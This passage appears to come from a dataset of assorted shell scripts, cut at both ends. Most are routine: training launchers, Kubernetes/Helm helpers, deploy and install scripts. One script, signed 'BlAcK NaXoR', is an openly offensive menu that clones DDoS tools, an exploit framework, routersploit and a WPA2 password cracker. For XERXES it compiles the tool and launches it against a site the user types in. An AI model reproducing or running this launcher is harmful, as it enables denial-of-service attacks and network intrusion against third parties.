exit\n#fi\n\n#config=configs/ucf101/ucf_train.yaml\n#config=configs/ucf101/ucf_train_rn50x16.yaml\n#config=configs/k400/k400_train.yaml\n#config=configs/hmdb51/hmdb_train.yaml\nconfig=configs/hmdb51/hmdb_train_rn50x16.yaml\n#config=configs/sthv2/sthv2_train.yaml\n#config=configs/sthv2/sthv2_train_rn50.yaml\ntype=$(python -c \"import yaml;print(yaml.load(open('${config}'))['network']['type'])\")\narch=$(python -c \"import yaml;print(yaml.load(open('${config}'))['network']['arch'])\")\ndataset=$(python -c \"import yaml;print(yaml.load(open('${config}'))['data']['dataset'])\")\nnow=$(date +\"%Y%m%d_%H%M%S\")\nmkdir -p exp/${type}/${arch}/${dataset}/${now}\npython -u train.py --config ${config} --log_time $now 2>&1|tee exp/${type}/${arch}/${dataset}/${now}/$now.log"} {"text": "#!/bin/bash\nclear\n#This is The Colour Code!\nRED=\"$(printf '\\033[31m')\" GREEN=\"$(printf '\\033[32m')\" ORANGE=\"$(printf '\\033[33m')\" BLUE=\"$(printf '\\033[34m')\"\nMAGENTA=\"$(printf '\\033[35m')\" CYAN=\"$(printf '\\033[36m')\" WHITE=\"$(printf '\\033[37m')\" BLACK=\"$(printf '\\033[30m')\"\nREDBG=\"$(printf '\\033[41m')\" GREENBG=\"$(printf '\\033[42m')\" ORANGEBG=\"$(printf '\\033[43m')\" BLUEBG=\"$(printf '\\033[44m')\"\nMAGENTABG=\"$(printf '\\033[45m')\" CYANBG=\"$(printf '\\033[46m')\" WHITEBG=\"$(printf '\\033[47m')\" BLACKBG=\"$(printf '\\033[40m')\"\n#This is the Checking Of Require packages!\necho -e \"${GREEN}___ _ _ ____ _____ _ _ _ _ _____ ___ ___ _ _\"\necho -e \"${GREEN}|_ _| \\ | / ___|_ _|/ \\ | | | | / \\|_ _|_ _/ _ \\| \\ | |\"\necho -e \"${GREEN} | || \\| \\___ \\ | | / _ \\ | | | | / _ \\ | | | | | | | \\| |\"\necho -e \"${GREEN} | || |\\ |___) || |/ ___ \\| |___| |___ / ___ \\| | | | |_| | |\\ |\"\necho -e \"${GREEN}|___|_| \\_|____/ |_/_/ \\_\\_____|_____/_/ \\_\\_| |___\\___/|_| \\_|\"\napt install git python clang \nsleep 3\nclear\ntermux-open-url \"https://facebook.com/MinMaySaPatMoLoLinkKoCopyTarLr\"\n\necho \"${YELLOW}░██╗░░░░░░░██╗░█████╗░██████╗░██████╗░\"\necho \"${YELLOW}░██║░░██╗░░██║██╔══██╗██╔══██╗██╔══██╗\"\necho \"${YELLOW}░╚██╗████╗██╔╝███████║██████╔╝██████╔╝\"\necho \"${YELLOW}░░████╔═████║░██╔══██║██╔══██╗██╔═══╝░\"\necho \"${YELLOW}░░╚██╔╝░╚██╔╝░██║░░██║██║░░██║██║░░░░░\"\necho \"${YELLOW}░░░╚═╝░░░╚═╝░░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░░░░\"\necho -e \"${GREENBG}${WHITE}YOUR ${WHITE} MIND IS ${RED} YOUR ${ORANGEBG} BEST WEAPON\"\necho \"------Coded By BlAcK NaXoR(YeMinAung)----------\"\necho -e \"${GREEN} Creative was An Art\"\necho ${BLACKBG}\nnow=\"$(date)\"\nprintf \"Current date and time %s\\n\" \"$now\"\nnow=\"$(date +'%d/%m/%Y')\"\nprintf \"Current date in dd/mm/yyyy format %s\\n\" \"$now\"\necho \"${ORANGE} YOUR DATE WAS : $now \"\necho\necho \"CHOOSE ANY DDOS TOOL THAT YOU WANT TO CLONE\"\necho\necho \"1. ${GREEN} UFONET(NEED ROOT)\"\necho\necho \"2. ${ORANGE} HAMMER(NO ROOT)\"\necho\necho \"3.${BLUE} DDOS-EXPLOIT(NEED ROOT)\"\necho\necho \"4.${CYAN} DDOS-ATTACK(NO ROOT)\"\necho\necho \"5.${MAGENTA} XERXES(NO ROOT)\"\necho\necho \"6.${GREEN} SlowLoris(NO ROOT)\"\necho\necho \"7 ${RED} Nikto(All In One Web Vulnerable scan tool)\"\necho\necho \"8 ${YELLOW} Hakku Framework\"\necho\necho \"9 ${WHITE} Websploit\"\necho\necho \"10 ${CYAN} routersploit\"\necho\necho \"11 ${BLUE} WIFI HACK\"\necho\nread -p \"Enter YourChoice : \" choice\nclear\n#This is In Cloning Step!\n#1st\nif [[ $choice == 1 ]];then\nrepository=\"https://github.com/epsylon/ufonet\"\ncd\necho -e \"${GREEN}___ _ _ ____ _____ _ _ _ _ _____ ___ ___ _ _\"\necho -e \"${GREEN}|_ _| \\ | / ___|_ _|/ \\ | | | | / \\|_ _|_ _/ _ \\| \\ | |\"\necho -e \"${GREEN} | || \\| \\___ \\ | | / _ \\ | | | | / _ \\ | | | | | | | \\| |\"\necho -e \"${GREEN} | || |\\ |___) || |/ ___ \\| |___| |___ / ___ \\| | | | |_| | |\\ |\"\necho -e \"${GREEN}|___|_| \\_|____/ |_/_/ \\_\\_____|_____/_/ \\_\\_| |___\\___/|_| \\_|\"\necho\necho \"Features=> This Tool Will Work For DDOS Attack!Performing Botnet(Zombies)\"\ngit clone $repository\ncd ufonet\npython3 setup.py install\napt-get install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy libgeoip1 libgeoip-dev\npip install GeoIP\npip install python-geoip\npip install pygeoip\npip install requests\npip install pycrypto\npip install pyurl\npip install whois\npip install scapy-python3\npython3 ufonet\n\n#2nd\nelif [[ $choice == 2 ]];then\necho -e \"${GREEN}___ _ _ ____ _____ _ _ _ _ _____ ___ ___ _ _\"\necho -e \"${GREEN}|_ _| \\ | / ___|_ _|/ \\ | | | | / \\|_ _|_ _/ _ \\| \\ | |\"\necho -e \"${GREEN} | || \\| \\___ \\ | | / _ \\ | | | | / _ \\ | | | | | | | \\| |\"\necho -e \"${GREEN} | || |\\ |___) || |/ ___ \\| |___| |___ / ___ \\| | | | |_| | |\\ |\"\necho -e \"${GREEN}|___|_| \\_|____/ |_/_/ \\_\\_____|_____/_/ \\_\\_| |___\\___/|_| \\_|\"\necho\necho \"Features=>A Tool Can Perform A Ddos Attack To website!\"\nrepository=\"https://github.com/cyweb/hammer\"\ncd\ngit clone $repository\n\n#3rd\nelif [[ $choice == 3 ]];then\nrepository=\"https://github.com/649/Memcrashed-DDoS-Exploit\"\ncd\necho -e \"${GREEN}___ _ _ ____ _____ _ _ _ _ _____ ___ ___ _ _\"\necho -e \"${GREEN}|_ _| \\ | / ___|_ _|/ \\ | | | | / \\|_ _|_ _/ _ \\| \\ | |\"\necho -e \"${GREEN} | || \\| \\___ \\ | | / _ \\ | | | | / _ \\ | | | | | | | \\| |\"\necho -e \"${GREEN} | || |\\ |___) || |/ ___ \\| |___| |___ / ___ \\| | | | |_| | |\\ |\"\necho -e \"${GREEN}|___|_| \\_|____/ |_/_/ \\_\\_____|_____/_/ \\_\\_| |___\\___/|_| \\_|\"\necho\ngit clone $repository\n\n#4th\nelif [[ $choice == 4 ]];then\nrepository=\"https://github.com/Ha3MrX/DDos-Attack\"\ncd\necho -e \"${GREEN}___ _ _ ____ _____ _ _ _ _ _____ ___ ___ _ _\"\necho -e \"${GREEN}|_ _| \\ | / ___|_ _|/ \\ | | | | / \\|_ _|_ _/ _ \\| \\ | |\"\necho -e \"${GREEN} | || \\| \\___ \\ | | / _ \\ | | | | / _ \\ | | | | | | | \\| |\"\necho -e \"${GREEN} | || |\\ |___) || |/ ___ \\| |___| |___ / ___ \\| | | | |_| | |\\ |\"\necho -e \"${GREEN}|___|_| \\_|____/ |_/_/ \\_\\_____|_____/_/ \\_\\_| |___\\___/|_| \\_|\"\necho\necho \"Can Consume Alot of Data Packages\"\ngit clone $repository\n\n#5th\nelif [[ $choice == 5 ]];then\nrepository=\"https://github.com/XCHADXFAQ77X/XERXES\"\necho -e \"${GREEN}___ _ _ ____ _____ _ _ _ _ _____ ___ ___ _ _\"\necho -e \"${GREEN}|_ _| \\ | / ___|_ _|/ \\ | | | | / \\|_ _|_ _/ _ \\| \\ | |\"\necho -e \"${GREEN} | || \\| \\___ \\ | | / _ \\ | | | | / _ \\ | | | | | | | \\| |\"\necho -e \"${GREEN} | || |\\ |___) || |/ ___ \\| |___| |___ / ___ \\| | | | |_| | |\\ |\"\necho -e \"${GREEN}|___|_| \\_|____/ |_/_/ \\_\\_____|_____/_/ \\_\\_| |___\\___/|_| \\_|\"\necho\necho \"The Powerful Dos Tool For Termux!\"\ncd\ngit clone $repository\ncd XERXES\ngcc xerxes.c -o xerxes\nread -p \"Enter the site you want to attack : \" black\nread -p \"Enter the port amount : \" naxor\n./xerxes $black $naxor\n\n#6th\nelif [[ $choice == 6 ]];then\nrepository=\"https://github.com/gkbrk/slowloris\"\ncd \necho -e \"${GREEN}___ _ _ ____ _____ _ _ _ _ _____ ___ ___ _ _\"\necho -e \"${GREEN}|_ _| \\ | / ___|_ _|/ \\ | | | | / \\|_ _|_ _/ _ \\| \\ | |\"\necho -e \"${GREEN} | || \\| \\___ \\ | | / _ \\ | | | | / _ \\ | | | | | | | \\| |\"\necho -e \"${GREEN} | || |\\ |___) || |/ ___ \\| |___| |___ / ___ \\| | | | |_| | |\\ |\"\necho -e \"${GREEN}|___|_| \\_|____/ |_/_/ \\_\\_____|_____/_/ \\_\\_| |___\\___/|_| \\_|\"\necho\necho \"A Simple tool to Make slow Http forward!May Ban Your Ip\"\ngit clone $repository\n\n#7th\nelif [[ $choice == 7 ]];then\nrepository=\"https://github.com/sullo/nikto\"\ncd\necho -e \"${GREEN}___ _ _ ____ _____ _ _ _ _ _____ ___ ___ _ _\"\necho -e \"${GREEN}|_ _| \\ | / ___|_ _|/ \\ | | | | / \\|_ _|_ _/ _ \\| \\ | |\"\necho -e \"${GREEN} | || \\| \\___ \\ | | / _ \\ | | | | / _ \\ | | | | | | | \\| |\"\necho -e \"${GREEN} | || |\\ |___) || |/ ___ \\| |___| |___ / ___ \\| | | | |_| | |\\ |\"\necho -e \"${GREEN}|___|_| \\_|____/ |_/_/ \\_\\_____|_____/_/ \\_\\_| |___\\___/|_| \\_|\"\necho\necho \"Features=> This Tool will Scan Web Vulnerable!All In One Tool To Scan Websites's Vulnerable\"\n\ngit clone $repository\ncd nikto\napt install perl\ncd program\nperl nikto.pl\n\n#8th\nelif [[ $choice == 8 ]];then\nrepo=\"https://github.com/4shadoww/hakkuframework\"\ncd\necho -e \"${GREEN}___ _ _ ____ _____ _ _ _ _ _____ ___ ___ _ _\"\necho -e \"${GREEN}|_ _| \\ | / ___|_ _|/ \\ | | | | / \\|_ _|_ _/ _ \\| \\ | |\"\necho -e \"${GREEN} | || \\| \\___ \\ | | / _ \\ | | | | / _ \\ | | | | | | | \\| |\"\necho -e \"${GREEN} | || |\\ |___) || |/ ___ \\| |___| |___ / ___ \\| | | | |_| | |\\ |\"\necho -e \"${GREEN}|___|_| \\_|____/ |_/_/ \\_\\_____|_____/_/ \\_\\_| |___\\___/|_| \\_|\"\necho \necho \"This Tool Was A Framework Including Wifi Jammer!Website kill!\"\napt install python python2 python3\ngit clone $repo\ncd hakkuframework\npython2 install.py\n\n#9th\nelif [[ $choice == 9 ]];then\nrepo=\"https://github.com/websploit/websploit\"\ncd\necho -e \"${GREEN}___ _ _ ____ _____ _ _ _ _ _____ ___ ___ _ _\"\necho -e \"${GREEN}|_ _| \\ | / ___|_ _|/ \\ | | | | / \\|_ _|_ _/ _ \\| \\ | |\"\necho -e \"${GREEN} | || \\| \\___ \\ | | / _ \\ | | | | / _ \\ | | | | | | | \\| |\"\necho -e \"${GREEN} | || |\\ |___) || |/ ___ \\| |___| |___ / ___ \\| | | | |_| | |\\ |\"\necho -e \"${GREEN}|___|_| \\_|____/ |_/_/ \\_\\_____|_____/_/ \\_\\_| |___\\___/|_| \\_|\"\necho\necho \"This Too was the Best MITM(Man In The Middle)Tool and perform to attack Wireless network\"\napt install python python2 python3\ngit clone $repo\ncd websploit\npython setup.py install\nwebsploit\n\n#10th\nelif [[ $choice == 10 ]];then\ncd\necho -e \"${GREEN}___ _ _ ____ _____ _ _ _ _ _____ ___ ___ _ _\"\necho -e \"${GREEN}|_ _| \\ | / ___|_ _|/ \\ | | | | / \\|_ _|_ _/ _ \\| \\ | |\"\necho -e \"${GREEN} | || \\| \\___ \\ | | / _ \\ | | | | / _ \\ | | | | | | | \\| |\"\necho -e \"${GREEN} | || |\\ |___) || |/ ___ \\| |___| |___ / ___ \\| | | | |_| | |\\ |\"\necho -e \"${GREEN}|___|_| \\_|____/ |_/_/ \\_\\_____|_____/_/ \\_\\_| |___\\___/|_| \\_|\"\ngit clone https://github.com/threat9/routersploit\ncd routersploit\napt install python python2 python3\npip install -r requirements.txt\npython rsf.py\n\n#11th\nelif [[ $choice == 11 ]];then\ncd\necho -e \"${GREEN}___ _ _ ____ _____ _ _ _ _ _____ ___ ___ _ _\"\necho -e \"${GREEN}|_ _| \\ | / ___|_ _|/ \\ | | | | / \\|_ _|_ _/ _ \\| \\ | |\"\necho -e \"${GREEN} | || \\| \\___ \\ | | / _ \\ | | | | / _ \\ | | | | | | | \\| |\"\necho -e \"${GREEN} | || |\\ |___) || |/ ___ \\| |___| |___ / ___ \\| | | | |_| | |\\ |\"\necho -e \"${GREEN}|___|_| \\_|____/ |_/_/ \\_\\_____|_____/_/ \\_\\_| |___\\___/|_| \\_|\"\necho \necho \"A WPA2 WIFI PASSWORD CRACKING TOOL FOR KALI LINUX!Do not install on Termux Or Non-rooted device\"\ngit clone https://github.com/MS-WEB-BN/h4rpy\ncd h4rpy\n./h4rpy\n\nfi"} {"text": "mypy --ignore-missing-import --follow-imports=skip megatron"} {"text": "#!/bin/bash\nBIN_DIR=$(dirname $(readlink -f ${BASH_SOURCE[0]}));\nPROJECT_DIR=$(dirname $BIN_DIR);\n\ncd $PROJECT_DIR;\n\nfunction testIt(){\n clear;\n node $PROJECT_DIR/build/TDDforJS.js\n}\ntestIt;\n\nwhile RESULT=$(inotifywait -qr -e MODIFY --exclude .*\\\\.swp $PROJECT_DIR)\ndo\n testIt;\ndone"} {"text": "#\n# Copyright 2019 <NAME>.\n# For a full list of individual contributors, please see the commit history.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n##-------------------------------------------------------------------------------------\n## Kubernetes specific utilities\n##\n##--------------------------------------------------------------------------------------\n\n\n#-----------------------------\n# execute_k8s_command\n#\n# Execute the given command towards Kubernetes based on the provided package\n# or service(s)\n#\n# Prerequisites:\n# The current directory should be a bundles K8S directory\n#\n# Parameters:\n# $1: Helm cmd for K8S\n# $2: Package to use\n# $3: Services to use\n#-----------------------------\nfunction execute_k8s_command {\n local k8s_command=\"$1\"\n local package=\"$2\"\n local services=\"$3\"\n\n verbose \"execute_k8s_command cmd: $k8s_command\"\n verbose \"execute_k8s_command pkg: $package\"\n verbose \"execute_k8s_command services: $services\"\n\n if [ ! -z \"$services\" ]\n then\n print \"Kubernetes $k8s_command service(s): $services\"\n execute_k8s_command_on_services $k8s_command \"$services\" \\\n || bail_out \"Could not $k8s_command service(s): $services\"\n fi\n\n if [ ! -z \"$package\" ]\n then\n [[ -f \"./packages/$package.sh\" ]] || \\\n bail_out \"Package file: ./packages/$package.sh specified do not exist\"\n\n source ./packages/$package.sh\n print \"Kubernetes $k8s_command package service(s): $k8s_package_services\"\n execute_k8s_command_on_services $k8s_command \"$k8s_package_services\" \\\n || bail_out \"Could not $k8s_command service(s): $k8s_package_services\"\n fi\n}\n\n\n#-----------------------------\n# array_to_string\n#\n# Converts a bash array to a comma separated string\n#\n# Parameters:\n# $@: array to convert to a string\n#-----------------------------\nfunction array_to_string {\n declare -a array=(\"${!1}\")\n\n local old_ifs=$IFS\n IFS=','\n local result=$(echo \"${array[*]}\")\n IFS=$old_ifs\n echo \"$result\"\n}\n\n\n#-----------------------------\n# do_execute_k8s_command_on_service\n#\n# Execute Kubernetes Helm command on given service\n#\n# Parameters:\n# $1: Kubernetes (Helm) command\n# $2: Service name\n# $3: Array of helm settings\n# $4: Release name\n# $5: Yml file to use for helm chart values\n# $6: Chart file path\n#-----------------------------\nfunction do_execute_k8s_command_on_service {\n local k8s_command=\"$1\"\n local servicename=\"$2\"\n local releasename=\"$3\"\n declare -a settings_array=(\"${!4}\")\n local valuefile=\"$5\"\n local chart=\"$6\"\n\n if [ \"$k8s_command\" == \"install\" ]\n then\n\n local settings_string=$(array_to_string settings_array[@])\n verbose \"Kubernetes do install, settings string: .${settings_string}.\"\n\n if [ \"$verbose\" ]\n then\n if [ \"$additional_installs\" ] \n then\n for i in \"${additional_installs[@]}\"; do\n ${i} || print \"Warning: Could not install additional installs: ${i}\"\n done\n fi\n\n helm install \\\n --namespace \"$K8S_NAMESPACE\" \\\n --name \"$releasename\" \\\n --set \"$settings_string\" \\\n --replace \\\n --debug \\\n --values $valuefile \\\n $chart \\\n || ( print \"Could not install $releasename\" ; return 1 ) \\\n && verbose \"Service $servicename installed as $releasename\"\n\n\n\n else\n if [ \"$additional_installs\" ] \n then\n for i in \"${additional_installs[@]}\"; do\n ${i} >/dev/null || print \"Warning: Could not install additional installs: ${i}\"\n done\n fi \n\n if [ \"$chart\" ]\n then\n helm install \\\n --namespace \"$K8S_NAMESPACE\" \\\n --name \"$releasename\" \\\n --set \"$settings_string\" \\\n --replace \\\n --values $valuefile \\\n $chart >/dev/null \\\n || ( print \"Could not install $releasename\" ; return 1 ) \\\n && verbose \"Service $servicename installed as $releasename\"\n fi \n fi\n \n elif [ \"$k8s_command\" == \"delete\" ]\n then\n verbose \"Kubernetes do install, settings string: .${settings_string}.\"\n\n if [ \"$verbose\" ]\n then\n if [ \"$releasename\" != \"null\" ]\n then\n helm delete \"$releasename\" --purge \\\n || print \"Warning: Could not delete $releasename\"\n fi \n if [ \"$additional_removals\" ] \n then\n for i in \"${additional_removals[@]}\"; do\n ${i} || print \"Warning: Could not delete additional removals: ${i}\"\n done\n fi\n else\n if [ \"$releasename\" != \"null\" ]\n then\n helm delete \"$releasename\" --purge >/dev/null \\\n || print \"Warning: Could not delete $releasename\"\n fi \n if [ \"$additional_removals\" ] \n then\n for i in \"${additional_removals[@]}\"; do\n ${i} >/dev/null || print \"Warning: Could not delete additional removals: ${i}\"\n done\n fi \n fi\n fi\n}"} {"text": "#!/bin/bash\n\n# Script that runs in the deploy stage after the testing stage of Travis passed.\n# Build artifacts and docs content will be published to different repositories.\n\n# The script should immediately exit if any command in the script fails.\nset -e\n\n# Go to the project root directory\ncd $(dirname $0)/../..\n\n# Load the retry-call utility function.\nsource scripts/retry-call.sh\n\n# Variable the specifies how often the deploy script should be invoked if it fails.\nDEPLOY_RETRIES=1\n\necho \"\"\necho \"Starting the deployment script. Running mode: ${DEPLOY_MODE}\"\necho \"\"\n\nif [[ \"${DEPLOY_MODE}\" == \"dashboard\" ]]; then\n retryCall ${DEPLOY_RETRIES} ./scripts/deploy/deploy-dashboard.sh\nelif [[ \"${DEPLOY_MODE}\" == \"build-artifacts\" ]]; then\n retryCall ${DEPLOY_RETRIES} ./scripts/deploy/publish-build-artifacts.sh\nelif [[ \"${DEPLOY_MODE}\" == \"docs-content\" ]]; then\n retryCall ${DEPLOY_RETRIES} ./scripts/deploy/publish-docs-content.sh\nfi"} {"text": "<filename>run.sh\n#!/bin/bash\n\nmkdir -p $MNT_PATH\n\nexport AWS_ACCESS_KEY_ID=$S3_ACCESS_KEY\nexport AWS_SECRET_ACCESS_KEY=$S3_SECRET_KEY\n\nsyslog-ng -f /etc/syslog-ng/syslog-ng.conf\n\ngoofys -f ${S3_ENDPOINT:+--endpoint $S3_ENDPOINT} ${S3_REGION:+--region $S3_REGION} --stat-cache-ttl $STAT_CACHE_TTL --type-cache-ttl $TYPE_CACHE_TTL --dir-mode $DIR_MODE --file-mode $FILE_MODE -o allow_other $S3_BUCKET $MNT_PATH"} {"text": "#!/bin/bash\n# Script used to setup a django server require \"dir name\" and \"apache2 conf\"\n# __ __ _ ____ _ _ _ _\n# | \\/ | __ _ _ _ __ _ _ __ | | __ / ___|_ _ (_)_ __ __ _| |_| |__ (_)\n# | |\\/| |/ _` | | | |/ _` | '_ \\| |/ / | | _| | | || | '__/ _` | __| '_ \\| |\n# | | | | (_| | |_| | (_| | | | | < | |_| | |_| || | | | (_| | |_| | | | |\n# |_| |_|\\__,_|\\__, |\\__,_|_| |_|_|\\_\\ \\____|\\__,_|/ |_| \\__,_|\\__|_| |_|_|\n# |___/ |__/\n\n# installing dependencies\necho installing dependencies...\nsudo apt install ufw apache2 libapache2-mod-wsgi-py3 zip unzip -y\necho done\n\necho configuring firewall\nsudo ufw default allow outgoing\nsudo ufw default deny incoming\nsudo ufw allow ssh\nsudo ufw allow http/tcp\nsudo ufw enable\nsudo ufw status\necho done\n\necho configuring apache2 with $2\nsudo cp $2 /etc/apache2/sites-available/\nsudo a2ensite $2\nsudo a2dissite 000-default.conf\necho done\n\necho configuring setting premissions to $1\nsudo chown :www-data $1/db.sqlite3\nsudo chmod 775 $1/db.sqlite3\nsudo chown -R :www-data $1/media/\nsudo chmod -R 775 $1/media/\nsudo chown :www-data $1/\nsudo chmod 775 $1/\necho done\n\necho restarting server\nsudo service apache2 restart\necho done"} {"text": "#!/usr/bin/env bash\n# Gives a gitlab merge request all the emoji\n# TODO: Make it possible for comment\n\nset -e\n[[ -z $DEBUG ]] || set -x\n\nproject=\"$1\"\nmerge_request_id=\"$2\"\ntoken=\"$3\"\n\nif [[ -n $token ]]; then\n\tGITLAB_TOKEN=\"$token\"\nfi\n\nif [[ -z $project || -z $merge_request_id || -z $GITLAB_TOKEN ]]; then\n\techo \"Usage: all-emoji <gitlab_project> <merge_request_id> [gitlab_token]\"\n\texit 1;\nfi;\n\nfor EMOJI in $(curl -s https://gitlab.com/gitlab-org/gitlab-ce/raw/master/fixtures/emojis/digests.json | jq 'keys | .[]' | tr -d '\"'); do\n\tcurl -s -X POST --header \"PRIVATE-TOKEN: $GITLAB_TOKEN\" \"https://gitlab.corp.tune.com/api/v4/projects/$project/merge_requests/$merge_request_id/award_emoji?name=$EMOJI\" >/dev/null &\ndone"} {"text": "#!/bin/bash\n\n#somehow need to verify that /u1/psreldev directory exists. Which is won't unless it's been made once.\n\necho \"starting build script\"\n\necho \"setting builtin to exit when anything fails\"\nset -e\n\necho \"export HOME=~\"\nexport HOME=~\necho \"export USER=`whoami`\"\nexport USER=`whoami`\n\necho \"source /reg/g/psdm/sw/conda2/manage/bin/psconda.sh\"\nsource /reg/g/psdm/sw/conda2/manage/bin/psconda.sh\n\n\necho \"activating conda environment with git-lfs\"\nconda activate /reg/g/psdm/sw/conda2/inst/envs/ps-2.0.5/\n\necho \"doing the git clean -fxd\"\ngit clean -fxd\n\necho \"initializing submodules\"\ngit submodule init\n\necho \"updating (recursively)\"\ngit submodule update --recursive\n\necho \"generating simulated data\"\ncd firmware/simulations/TimeToolKcu1500ComponentTb/data_generation_scripts\npython make_simulation_input_file.py\ncd ../../../../\n\necho \"sourcing the build environment\"\nsource firmware/setup_env_slac.sh\n\necho \"going to the time tool top directory to make\"\ncd firmware/targets/TimeToolKcu1500\n\necho \"git lfs install --force\"\ngit lfs install --force\necho \"git-lfs pull\"\ngit-lfs pull\necho \"git submodule foreach git-lfs pull\"\ngit submodule foreach git-lfs pull\n\n\necho \"making clean\"\nmake clean\n\necho \"making no gui\"\nmake nogui\n\necho \"executing simulation script\"\ncd ../../build/TimeToolKcu1500/\nvivado -mode batch -source firmware/targets/TimeToolKcu1500/simulation.tcl\n\n\n\n#source setup_env.sh -py2\n# don't install python2 version because it checks syntax of py3 files\n#./build_all.sh\n#pytest psana/psana/tests\n#pytest psana/psana/tests/byhand_mpi.py"} {"text": "#!/bin/bash\n\nset -e\n\ninitFe(){\n echo \"start doris fe\"\n [ -d \"${FE_META}\" ] || mkdir -p ${FE_META}\n sed -i \"s|^[[:space:]]*\\$LIMIT \\$JAVA \\$JAVA_OPTS org.apache.doris.PaloFe.*| exec \\$LIMIT \\$JAVA \\$JAVA_OPTS org.apache.doris.PaloFe \\${HELPER} \\\"\\$@\\\"|g\" ${DORIS_HOME}/fe/bin/start_fe.sh\n echo \"priority_networks = ${FE_NETWORK}\" >> ${DORIS_HOME}/fe/conf/fe.conf\n echo \"meta_dir = ${FE_META}\" >> ${DORIS_HOME}/fe/conf/fe.conf\n exec bash ${DORIS_HOME}/fe/bin/start_fe.sh\n}\n\ninitBe(){\n echo \"start doris be\"\n [ -d \"${BE_DATA}\" ] || mkdir -p ${BE_DATA}\n sed -i \"s@^storage_root_path.*@storage_root_path = ${DORIS_HOME}/be/data@g\" ${DORIS_HOME}/be/conf/be.conf\n echo \"priority_networks = ${BE_NETWORK}\" >> ${DORIS_HOME}/be/conf/be.conf\n echo \"storage_root_path = ${BE_DATA}\" >> ${DORIS_HOME}/be/conf/be.conf\n sed -i \"s|^[[:space:]]*\\$LIMIT \\${DORIS_HOME}/lib/palo_be.*| exec \\$LIMIT \\${DORIS_HOME}/lib/palo_be \\\"\\$@\\\"|g\" ${DORIS_HOME}/be/bin/start_be.sh\n\n #ENV FE_HOST, add be to fe\n #ENV BE_HOST\n COUNT=$(mysql -h${FE_HOST} -P9030 -uroot -e\"SHOW PROC '/backends'\\G;\" | grep ${BE_HOST} | wc -l)\n if [ $COUNT -lt 1 ];\n then\n mysql -h${FE_HOST} -P9030 -uroot -e\"ALTER SYSTEM ADD BACKEND \\\"${BE_HOST}:9050\\\";\"\n fi\n exec bash ${DORIS_HOME}/be/bin/start_be.sh\n}\n\nprintUsage() {\n echo -e \"Usage: [ fe | be ]\\n\"\n printf \"%-13s: %s\\n\" \"fe\" \"Doris master.\"\n printf \"%-13s: %s\\n\" \"be\" \"Doris worker.\"\n}\n\ncase \"$1\" in\n (fe)\n initFe\n ;;\n (be)\n initBe\n ;;\n (help)\n printUsage\n exit 1\n ;;\n (*)\n printUsage\n exit 1\n ;;\nesac"} {"text": "#!/bin/bash\n\ngulp production\nssh $SERVER_USER@$SERVER_IP 'rm -r /var/www/upracing.org/build/'\nscp package.json $SERVER_USER@$SERVER_IP:/var/www/upracing.org/\nscp -r build $SERVER_USER@$SERVER_IP:/var/www/upracing.org/build/\n\nssh $SERVER_USER@$SERVER_IP << EOF\n cd /var/www/upracing.org.me\n yarn --production\n pm2 gracefulReload upracing.org\nEOF"} {"text": "# 03-binds.zsh\n# (c) 2015 iomonad <<EMAIL>>\n\n# insert sudo at the beginning of\n# command input\ndont_use_when_you_are_drunk () {\n\tzle beginning-of-line; zle -U \"sudo \"\n}\n\nzle -N dont-use-when-you-are-drunk dont_use_when_you_are_drunk\nbindkey \"^X\" dont-use-when-you-are-drunk"} {"text": "#!/bin/bash\n\nset -ex\n\n# Install latest Singularity along with prereqs\n# Source:\n# https://sylabs.io/guides/3.7/admin-guide/installation.html#installation-on-linux\n\n# Install dependencies\nsudo apt-get update && sudo apt-get install -y build-essential uuid-dev \\\n libgpgme-dev squashfs-tools libseccomp-dev wget pkg-config git cryptsetup-bin\n\n# Golang already installed in user-tools.sh\n\n# Download Singularity\nexport VERSION=3.7.3\nwget https://github.com/hpcng/singularity/releases/download/v${VERSION}/singularity-${VERSION}.tar.gz\ntar -xzf singularity-${VERSION}.tar.gz\nrm -f singularity-${VERSION}.tar.gz\ncd singularity\n\n# Install\n# Source custom profile which puts Golang on the path\nsource /etc/profile.d/custom.sh\n./mconfig\nmake -C ./builddir\nsudo make -C ./builddir install\n\n# Cleanup\ncd /home/ubuntu\nsudo rm -rf /home/ubuntu/singularity /home/ubuntu/go\n\n# Add shell autocompletion\nsource /usr/local/etc/bash_completion.d/singularity\necho \"source /usr/local/etc/bash_completion.d/singularity\" | sudo tee -a /etc/profile.d/custom.sh > /dev/null\n\n# Test\nsingularity --version"} {"text": "<reponame>kamranalinitb/Chainlist<gh_stars>0\nrsync -r src/ docs/\nrsync -r build/contracts/ChainList.json docs/\ngit add .\ngit commit -m \"adding frontend files to Github pages\"\ngit push"} {"text": "#!/bin/bash\n# This script is used to make a local copy of GEFF data.\n# Variable in capital letter are user-defined.\n# Variables in lower letters are local.\n# exec bash ---- to use a fresh & new environnement\n# To generate Zenodo-like datasets, please select the following when prompted:\n# 1. longitudes in range [-180, +180]\n# 2. daily layers are assembled in one three-dimensional datacube.\n\necho -e \"### USER DEFINED SETTINGS ############################################\"\n\necho -e \"This script is used to make a local copy of GEFF data\"\n\necho -e \"Please enter a start date\"\necho -e \"(e.g. 2015-09-07):\"\nread STARTINGDATE\n\necho -e \"Please enter an end date\"\necho -e \"(e.g. 2015-09-07):\"\nread ENDINGDATE\n\necho -e \"Please enter origin\"\necho -e \"(options are 'FWI' (default), 'MARK5', 'NFDRS', 'FO'):\"\nread ORIGIN\nORIGIN=${ORIGIN:-FWI}\n\necho -e \"Please enter variable name\"\necho -e \"(options are 'fwi' (default)):\"\nread VARS\nVARS=${VARS:-fwi}\n\necho -e \"Do you wish to rotate longitudes from [0, 360] to [-180, +180]?\"\necho -e \"(options are 'y' (default), or 'n' to keep original range)\"\nread ROTATE\nROTATE=${ROTATE:-y}\n\necho -e \"Do you wish to stack the layers into one NetCDF file?\"\necho -e \"(options are 'y' (default), or 'n' to keep original files)\"\nread STACK\nSTACK=${STACK:-y}\n\necho -e \"Please enter data type\"\necho -e \"(options are 're' (reanalysis, default) or 'rt' (realtime forecast)):\"\nread DATATYPE\nDATATYPE=${DATATYPE:-re}\nif [ ${DATATYPE} != \"re\" ] && [ 